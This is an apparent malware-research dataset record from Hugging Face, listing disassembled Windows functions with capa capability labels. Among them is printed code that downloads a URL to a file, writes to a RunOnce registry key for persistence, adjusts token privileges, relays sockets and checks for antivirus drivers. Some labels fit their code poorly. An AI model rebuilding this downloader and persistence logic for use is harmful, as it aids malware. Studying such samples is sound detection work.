joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002c260
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Write file on windows

Disassembly:
sub esp, 0x430
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
xor ebx, ebx
mov dl, 0x69
mov al, 0x6c
mov cl, 0x61
push str.InternetOpenA
push str.wininet.dll
mov dword [esp + 0x34], ebx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x18], 0x4d
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1a], 0x7a
mov byte [esp + 0x1b], dl
mov byte [esp + 0x1c], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], 0x2f
mov byte [esp + 0x20], 0x34
mov byte [esp + 0x21], 0x2e
mov byte [esp + 0x22], 0x30
mov byte [esp + 0x23], 0x20
mov byte [esp + 0x24], 0x28
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x26], 0x6f
mov byte [esp + 0x27], 0x6d
mov byte [esp + 0x28], 0x70
mov byte [esp + 0x29], cl
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2c], 0x62
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], 0x29
mov byte [esp + 0x30], bl
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push ebx
push ebx
push ebx
lea ecx, [esp + 0x1c]
push ebx
push ecx
call eax
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x3c], edi
jne 0x1002c32c
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x430
ret
push str.InternetCloseHandle
push str.wininet.dll
call esi
push eax
call ebp
push str.InternetOpenUrlA
push str.wininet.dll
mov dword [esp + 0x3c], eax
call esi
push eax
call ebp
mov edx, dword [esp + 0x444]
push ebx
push bind
push ebx
push ebx
push edx
push edi
call eax
mov ebx, eax
test ebx, ebx
jne 0x1002c379
push edi
call dword [esp + 0x38]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x430
ret
push str.CreateFileA
push str.KERNEL32.dll
call esi
push eax
call ebp
mov ecx, dword [esp + 0x448]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ecx
call eax
cmp eax, 0xffffffff
mov dword [esp + 0x30], eax
je 0x1002c40b
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x40]
push str.InternetReadFile
rep stosd dword es:[edi], eax
push str.WININET.dll
call esi
push eax
call ebp
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x40]
push edx
push 0x400
push ecx
push ebx
call eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x38]
push 0
push edx
mov edx, dword [esp + 0x38]
lea ecx, [esp + 0x48]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x2c]
test eax, eax
ja 0x1002c3aa
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x34]
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x430
ret
Function at 0x1002c430
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1002c482
push esi
push 0x100
call sub.MFC42.DLL_operatornew
add esp, 4
mov esi, eax
mov eax, dword [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 4]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x1002c610
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x1002c65a
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x1002c65a
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x1002c677
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x1002c677
call fcn.1002c490
pop edi
pop esi
add esp, 0x9c
ret
call fcn.1002c430
pop edi
pop esi
add esp, 0x9c
ret

Function at 0x1002c690
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push str.Winlogon
mov esi, eax
call fcn.1002c0b0
add esp, 4
test eax, eax
jne 0x1002c6b3
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x1002c6d7
push esi
call fcn.1002c000
add esp, 4
mov eax, 1
pop esi
ret
Function at 0x1002c7b0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.ADVAPI32.dll
mov byte [esp + 0x18], 1
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenProcessToken
push edi
call esi
push str.AdjustTokenPrivileges
push edi
mov ebx, eax
call esi
push str.LookupPrivilegeValueA
push edi
mov dword [esp + 0x24], eax
call esi
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call ebp
push str.GetCurrentProcess
push eax
mov dword [esp + 0x28], eax
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x28
call eax
push eax
call ebx
test eax, eax
jne 0x1002c81e
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
neg edx
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 1
sbb edx, edx
push eax
and edx, 2
push ecx
push 0
mov dword [esp + 0x3c], edx
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
push 0
push 0
lea edx, [esp + 0x2c]
push 0x10
push edx
push 0
push eax
call dword [esp + 0x34]
push str.KERNEL32.dll
call ebp
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x1002c875
mov byte [esp + 0x14], 0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x1002c88d
push edi
call esi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x1002c898
push eax
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x24
ret

Function at 0x1002cae0
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
mov esi, dword [esp + 0x18]
lea eax, [esp + 0x18]
push edi
push eax
xor edi, edi
push 0x8004667e
push ebx
mov dword [esp + 0x28], edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test esi, esi
jle 0x1002cb25
mov ebp, dword [esp + 0x18]
push 0
lea ecx, [edi + ebp]
push esi
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x1002cb25
sub esi, eax
add edi, eax
test esi, esi
jg 0x1002cb0b
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x1002cb30
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov eax, 0x2104
call fcn.1002d190
mov eax, dword [esp + 0x2108]
push ebx
push ebp
push esi
mov ebp, dword [eax]
mov ebx, dword [eax + 4]
push edi
mov ecx, 0x7ff
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0x1012f314]
test al, al
je 0x1002cc52
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], 1
xor eax, eax
lea ecx, [esp + 0x14]
cmp dword [ecx], ebx
je 0x1002cb97
inc eax
add ecx, 4
cmp eax, 1
jb 0x1002cb8a
cmp eax, 1
jne 0x1002cba8
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10], 2
push 0
push 0
lea eax, [esp + 0x18]
push 0
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x1002cc52
lea ecx, [esp + 0x10]
push ecx
push ebp
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x1002cc04
push 0
lea edx, [esp + 0x118]
push 0x2000
push edx
push ebp
call edi
mov esi, eax
test esi, esi
jle 0x1002cc52
lea eax, [esp + 0x114]
push esi
push eax
push ebx
call fcn.1002cae0
add esp, 0xc
test eax, eax
je 0x1002cc52
cmp eax, esi
jne 0x1002cc52
lea ecx, [esp + 0x10]
push ecx
push ebx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x1002cc45
push 0
lea edx, [esp + 0x118]
push 0x2000
push edx
push ebx
call edi
mov esi, eax
test esi, esi
jle 0x1002cc52
lea eax, [esp + 0x114]
push esi
push eax
push ebp
call fcn.1002cae0
add esp, 0xc
test eax, eax
je 0x1002cc52
cmp eax, esi
jne 0x1002cc52
mov al, byte [0x1012f314]
test al, al
jne 0x1002cb78
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
push ebp
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2104
ret 4

Function at 0x1002cc70
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1002cc8e
xor eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov word [esp + 8], 2
mov dword [esp + 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1002ccce
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x1002cda0
Capabilities:
Create thread
Receive data
Receive data on socket

Disassembly:
mov eax, 0x1038
call fcn.1002d190
push ebx
push ebp
push esi
push edi
mov ecx, 0x40c
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x44], 0xffffffff
mov dword [esp + 0x18], 0x100b7a10
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x1054]
lea ecx, [esp + 0x1c]
push eax
push 0x100fbcd8
push 0x20
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
mov eax, dword [esp + 0x1060]
mov ecx, dword [esp + 0x105c]
mov dx, word [esp + 0x1068]
push eax
push ecx
mov word [esp + 0x54], dx
call fcn.1002cce0
mov edi, eax
add esp, 0x18
test edi, edi
jbe 0x1002cec0
mov al, byte [0x1012f314]
mov dword [esp + 0x40], edi
test al, al
je 0x1002cec0
mov ebx, dword [sym.imp.WS2_32.dll_recv]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea edx, [esp + 0x16]
push 2
push edx
push edi
call ebx
test eax, eax
jle 0x1002cec0
mov edx, dword [0x1012e310]
mov eax, dword [esp + 0x44]
inc edx
cmp eax, 0x800
mov dword [0x1012e310], edx
jge 0x1002ce6e
mov cx, word [esp + 0x12]
inc eax
mov dword [esp + 0x44], eax
mov word [esp + eax*2 + 0x48], cx
mov edx, dword [0x1012f318]
lea eax, [esp + 0x18]
inc edx
mov dword [0x1012f318], edx
lea edx, [esp + 0x14]
push edx
push 0
push eax
push 0x1002cd00
push 0
push 0
call esi
mov ecx, dword [0x1012f318]
test eax, eax
mov dword [ecx*4 + 0x1012e314], eax
je 0x1002cea8
push eax
call ebp
jmp 0x1002ceb3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x1012f314]
test al, al
jne 0x1002ce37
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1038
ret 0x10

Function at 0x1002cee0
Capabilities:
Terminate thread

Disassembly:
sub esp, 0x80
mov byte [0x1012f314], 0
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x1012e30c]
test eax, eax
je 0x1002cf43
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [0x1012e30c]
lea ecx, [esp + 8]
push eax
push str.nsocket_di:_d
push ecx
call esi
mov edx, dword [0x1012e30c]
add esp, 0xc
mov eax, dword [edx*4 + 0x1012d30c]
cmp eax, 0xffffffff
je 0x1002cf36
push eax
call edi
mov eax, dword [0x1012e30c]
dec eax
mov dword [0x1012e30c], eax
jne 0x1002cf0c
mov eax, dword [0x1012f318]
test eax, eax
je 0x1002cf82
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1012f318]
mov eax, dword [eax*4 + 0x1012e314]
cmp eax, 0xffffffff
je 0x1002cf75
push 0
push eax
call esi
push 0x1012e314
call edi
mov eax, dword [0x1012f318]
dec eax
mov dword [0x1012f318], eax
jne 0x1002cf58
pop edi
mov dword [0x1012f318], 0
mov dword [0x1012e30c], 0
mov byte [0x1012f314], 1
pop esi
add esp, 0x80
ret
Function at 0x1002e2b0
Capabilities:
Query environment variable

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov dword [edi + 4], ebx
call fcn.10030350
push 0x54
push edi
mov dword [esp + 0x18], eax
call fcn.100302e0
mov esi, eax
add esp, 0xc
cmp esi, ebx
jne 0x1002e2f4
push edi
call fcn.1002c900
mov eax, dword [edi]
push edi
mov dword [eax + 0x14], 0x36
mov ecx, dword [edi]
mov dword [ecx + 0x18], ebx
mov edx, dword [edi]
call dword [edx]
add esp, 8
mov dword [esi], fcn.1002e3f0
mov dword [esi + 4], fcn.1002e570
mov dword [esi + 8], fcn.1002e660
mov dword [esi + 0xc], fcn.1002e730
mov dword [esi + 0x10], 0x1002e7e0
mov dword [esi + 0x14], 0x1002e850
mov dword [esi + 0x18], 0x1002e8c0
mov dword [esi + 0x1c], 0x1002eac0
mov dword [esi + 0x20], 0x1002ecb0
mov dword [esi + 0x24], fcn.1002eea0
mov dword [esi + 0x28], 0x1002efa0
mov dword [esi + 0x30], 0x3b9aca00
mov eax, dword [esp + 0xc]
mov ecx, 2
mov dword [esi + 0x2c], eax
lea eax, [esi + 0x40]
mov dword [eax - 8], ebx
mov dword [eax], ebx
sub eax, 4
dec ecx
jne 0x1002e356
mov dword [esi + 0x44], ebx
mov dword [esi + 0x48], ebx
mov dword [esi + 0x4c], 0x54
push str.JPEGMEM
mov dword [edi + 4], esi
call sub.MSVCRT.dll_getenv
add esp, 4
cmp eax, ebx
je 0x1002e3e6
lea ecx, [esp + 0x14]
lea edx, [esp + 0xc]
push ecx
push edx
push str._ld_c
push eax
mov byte [esp + 0x24], 0x78
call sub.MSVCRT.dll_sscanf
add esp, 0x10
test eax, eax
jle 0x1002e3e6
mov al, byte [esp + 0x14]
cmp al, 0x6d
je 0x1002e3af
cmp al, 0x4d
jne 0x1002e3d3
mov eax, dword [esp + 0xc]
pop edi
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
mov dword [esi + 0x2c], eax
pop esi
pop ebx
pop ecx
ret
mov eax, dword [esp + 0xc]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
mov dword [esi + 0x2c], eax
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x1003ddb0
Capabilities:
Query environment variable

Disassembly:
mov eax, dword [0x10121904]
push esi
cmp eax, 0xffffffff
push edi
jne 0x1003def0
call fcn.10042ba0
push str.JSIMD_FORCEMMX
mov dword [0x10121904], eax
call sub.MSVCRT.dll_getenv
add esp, 4
test eax, eax
je 0x1003ddf4
mov esi, eax
mov edi, 0x100faf08
mov ecx, 2
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x1003ddf4
and dword [0x10121904], 1
push str.JSIMD_FORCE3DNOW
call sub.MSVCRT.dll_getenv
add esp, 4
test eax, eax
je 0x1003de1e
mov edi, 0x100faf08
mov esi, eax
mov ecx, 2
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x1003de1e
and dword [0x10121904], 3
push str.JSIMD_FORCESSE
call sub.MSVCRT.dll_getenv
add esp, 4
test eax, eax
je 0x1003de48
mov esi, eax
mov edi, 0x100faf08
mov ecx, 2
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x1003de48
and dword [0x10121904], 5
push str.JSIMD_FORCESSE2
call sub.MSVCRT.dll_getenv
add esp, 4
test eax, eax
je 0x1003de72
mov edi, 0x100faf08
mov esi, eax
mov ecx, 2
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x1003de72
and dword [0x10121904], 8
push str.JSIMD_FORCEAVX2
call sub.MSVCRT.dll_getenv
add esp, 4
test eax, eax
je 0x1003de9f
mov esi, eax
mov edi, 0x100faf08
mov ecx, 2
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x1003de9f
and dword [0x10121904], 0x80
push str.JSIMD_FORCENONE
call sub.MSVCRT.dll_getenv
add esp, 4
test eax, eax
je 0x1003dec8
mov edi, 0x100faf08
mov esi, eax
mov ecx, 2
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x1003dec8
mov dword [0x10121904], edx
push str.JSIMD_NOHUFFENC
call sub.MSVCRT.dll_getenv
add esp, 4
test eax, eax
je 0x1003def0
mov esi, eax
mov edi, 0x100faf08
mov ecx, 2
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x1003def0
mov dword [0x10121908], eax
pop edi
pop esi
ret
Function at 0x1005ca00
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x24
push esi
mov esi, dword [esp + 0x2c]
cmp byte [esi + 2], 1
je 0x1005ca18
mov eax, 0xfffffffc
pop esi
add esp, 0x24
ret
mov dword [esi + 4], 0x10305
mov dword [esi + 8], str.xvid_1.3.5
call fcn.1005c920
mov dword [esi + 0xc], eax
lea eax, [esp + 4]
push eax
mov dword [esi + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x18]
xor eax, eax
mov dword [esi + 0x10], ecx
pop esi
add esp, 0x24
ret

Function at 0x10074380
Capabilities:
Enumerate pe sections

Disassembly:
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
push edi
mov edi, 1
sub edi, edx
test eax, eax
jbe 0x1007446c
mov ecx, dword [esp + 0xc]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x14]
xor edx, edx
xor ebx, ebx
mov dl, byte [ecx]
mov bl, byte [esi]
mov ebp, edi
add ebp, edx
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax], bl
mov dl, byte [ecx + 1]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 1]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 1], bl
mov dl, byte [ecx + 2]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 2]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 2], bl
mov dl, byte [ecx + 3]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 3]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 3], bl
mov dl, byte [ecx + 4]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 4]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 4], bl
mov dl, byte [ecx + 5]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 5]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 5], bl
mov dl, byte [ecx + 6]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 6]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 6], bl
mov dl, byte [ecx + 7]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 7]
mov edx, dword [esp + 0x20]
add ebx, ebp
add ecx, edx
sar ebx, 1
mov byte [eax + 7], bl
add eax, edx
add esi, edx
mov edx, dword [esp + 0x24]
dec edx
mov dword [esp + 0x24], edx
jne 0x100743ab
pop esi
pop ebp
pop ebx
pop edi
ret
Function at 0x10085ec0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
push ebx
lea eax, [eax + eax*2]
push ebp
xor ebp, ebp
push esi
lea eax, [eax + eax*4]
push edi
mov dword [esp + 0x10], ebp
lea ecx, [ecx + eax*2 + 0x20]
mov ax, word [edx]
imul ax, word [esp + 0x24]
cmp ax, 0xf800
mov word [ecx], ax
jge 0x10085efa
mov eax, 0xfffff800
jmp 0x10085f0a
cmp ax, 0x7ff
jle 0x10085f07
mov eax, 0x7ff
jmp 0x10085f0a
movsx eax, ax
mov edi, edx
mov word [ecx], ax
lea esi, [edx + 0x10]
lea eax, [ecx + 2]
sub edi, ecx
mov dword [esp + 0x20], esi
mov ecx, 7
mov bx, word [edi + eax]
add esi, 0x10
mov word [eax], bx
mov bx, word [esi - 0x10]
mov word [eax + 0xe], bx
add eax, 2
dec ecx
jne 0x10085f20
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x18]
mov esi, 1
mov ax, word [edi]
sub word [edx], ax
mov eax, dword [esp + 0x1c]
cmp dword [ecx + eax*4 + 0xd4], esi
jne 0x10085fa2
mov ebx, edx
lea esi, [edi + 2]
sub ebx, edi
mov edi, 7
mov cx, word [ebx + esi]
add esi, 2
movsx eax, cx
cdq
xor eax, edx
mov dword [esp + 0x18], ecx
sub cx, word [esi - 2]
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
mov word [esi - 2], cx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
dec edi
mov dword [esp + 0x10], edx
jne 0x10085f64
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
mov ebx, dword [esp + 0x20]
mov dx, word [ebx]
add ebx, 0x10
mov cx, dx
mov dword [esp + 0x18], edx
movsx eax, cx
sub cx, word [edi + esi*2]
cdq
xor eax, edx
mov word [edi + esi*2], cx
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
inc esi
cmp esi, 8
mov dword [esp + 0x10], edx
jb 0x10085fa6
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
Function at 0x4e5736
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [0x4a4fec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, 0x4800b8
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], eax
mov eax, 0x47fd28
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
movzx eax, byte [ebp + 8]
push eax
push 0x4a93b8
push 0x47fce4
lea eax, [ebp - 0xcc]
push 0x18
push eax
mov dword [ebp - 0xcc], 0x4800ac
mov dword [ebp - 0xc8], 0x480094
mov dword [ebp - 0xc4], 0x48008c
mov dword [ebp - 0xc0], 0x480078
mov dword [ebp - 0xbc], 0x480070
mov dword [ebp - 0xb8], 0x48005c
mov dword [ebp - 0xb4], 0x480054
mov dword [ebp - 0xb0], 0x48003c
mov dword [ebp - 0xac], 0x480038
mov dword [ebp - 0xa8], 0x480028
mov dword [ebp - 0xa4], 0x48001c
mov dword [ebp - 0xa0], 0x480004
mov dword [ebp - 0x9c], 0x47fff8
mov dword [ebp - 0x98], 0x47ffe0
mov dword [ebp - 0x94], 0x47ffd4
mov dword [ebp - 0x90], 0x47ffb8
mov dword [ebp - 0x8c], 0x47ffac
mov dword [ebp - 0x88], 0x47ff94
mov dword [ebp - 0x84], 0x47ff84
mov dword [ebp - 0x80], 0x47ff68
mov dword [ebp - 0x7c], 0x47ff54
mov dword [ebp - 0x78], 0x47ff3c
mov dword [ebp - 0x74], 0x47ff2c
mov dword [ebp - 0x70], 0x47ff10
mov dword [ebp - 0x6c], 0x47ff00
mov dword [ebp - 0x68], 0x47fee4
mov dword [ebp - 0x64], 0x47fed0
mov dword [ebp - 0x60], 0x47feb0
mov dword [ebp - 0x5c], 0x47fea4
mov dword [ebp - 0x58], 0x47fe8c
mov dword [ebp - 0x54], 0x47fe74
mov dword [ebp - 0x50], 0x47fe50
mov dword [ebp - 0x4c], 0x47fe40
mov dword [ebp - 0x44], 0x47fe2c
mov dword [ebp - 0x3c], 0x47fe20
mov dword [ebp - 0x38], 0x47fe08
mov dword [ebp - 0x34], 0x47fdf8
mov dword [ebp - 0x30], 0x47fddc
mov dword [ebp - 0x2c], 0x47fdcc
mov dword [ebp - 0x28], 0x47fdb0
mov dword [ebp - 0x24], 0x47fda4
mov dword [ebp - 0x20], 0x47fd8c
mov dword [ebp - 0x1c], 0x47fd80
mov dword [ebp - 0x18], 0x47fd68
mov dword [ebp - 0x14], 0x47fd5c
mov dword [ebp - 0x10], 0x47fd44
call fcn.004e56bc
mov ecx, dword [ebp - 4]
add esp, 0x14
neg eax
sbb eax, eax
xor ecx, ebp
neg eax
call 0x5203d8
leave
ret
Function at 0x10002960
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x1c], 0x520050
mov ecx, 0x41
mov dword [ebp - 0x18], 0x440049
push ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 0x520055
push eax
mov dword [ebp - 0x10], 0x530041
mov dword [ebp - 0xc], 0x4b0048
mov dword [ebp - 8], ecx
call dword [0x1000a0b0]
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.10008150
add esp, 4
mov dword [ebp - 0x88], 0x4f0053
lea eax, [ebp - 4]
mov dword [ebp - 0x84], 0x540046
mov dword [ebp - 0x80], 0x410057
mov dword [ebp - 0x7c], 0x450052
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x88]
mov dword [ebp - 0x78], 0x4d005c
push eax
push 0x80000001
mov dword [ebp - 0x74], 0x630069
mov dword [ebp - 0x70], 0x6f0072
mov dword [ebp - 0x6c], 0x6f0073
mov dword [ebp - 0x68], 0x740066
mov dword [ebp - 0x64], 0x57005c
mov dword [ebp - 0x60], 0x6e0069
mov dword [ebp - 0x5c], 0x6f0064
mov dword [ebp - 0x58], 0x730077
mov dword [ebp - 0x54], 0x43005c
mov dword [ebp - 0x50], 0x720075
mov dword [ebp - 0x4c], 0x650072
mov dword [ebp - 0x48], 0x74006e
mov dword [ebp - 0x44], 0x650056
mov dword [ebp - 0x40], 0x730072
mov dword [ebp - 0x3c], 0x6f0069
mov dword [ebp - 0x38], 0x5c006e
mov dword [ebp - 0x34], 0x750052
mov dword [ebp - 0x30], 0x4f006e
mov dword [ebp - 0x2c], 0x63006e
mov dword [ebp - 0x28], 0x65
call dword [0x1000a008]
test eax, eax
jne 0x10002ac0
push esi
call dword [0x1000a0b0]
add eax, eax
push eax
push esi
push 1
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [0x1000a004]
push dword [ebp - 4]
neg eax
sbb esi, esi
call dword [0x1000a00c]
lea eax, [esi + 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003030
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x24], 0x6c006b
push edi
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x20], 0x660069
mov dword [ebp - 0x1c], 0x73002e
mov dword [ebp - 0x18], 0x730079
mov word [ebp - 0x14], ax
mov dword [ebp - 0x10], 0x6c006b
mov dword [ebp - 0xc], 0x2e0031
mov dword [ebp - 8], 0x790073
mov dword [ebp - 4], 0x73
call fcn.10002f50
pop edi
pop esi
pop ebx
test eax, eax
jne 0x10003096
lea ecx, [ebp - 0x10]
call fcn.10002f50
test eax, eax
jne 0x10003096
mov esp, ebp
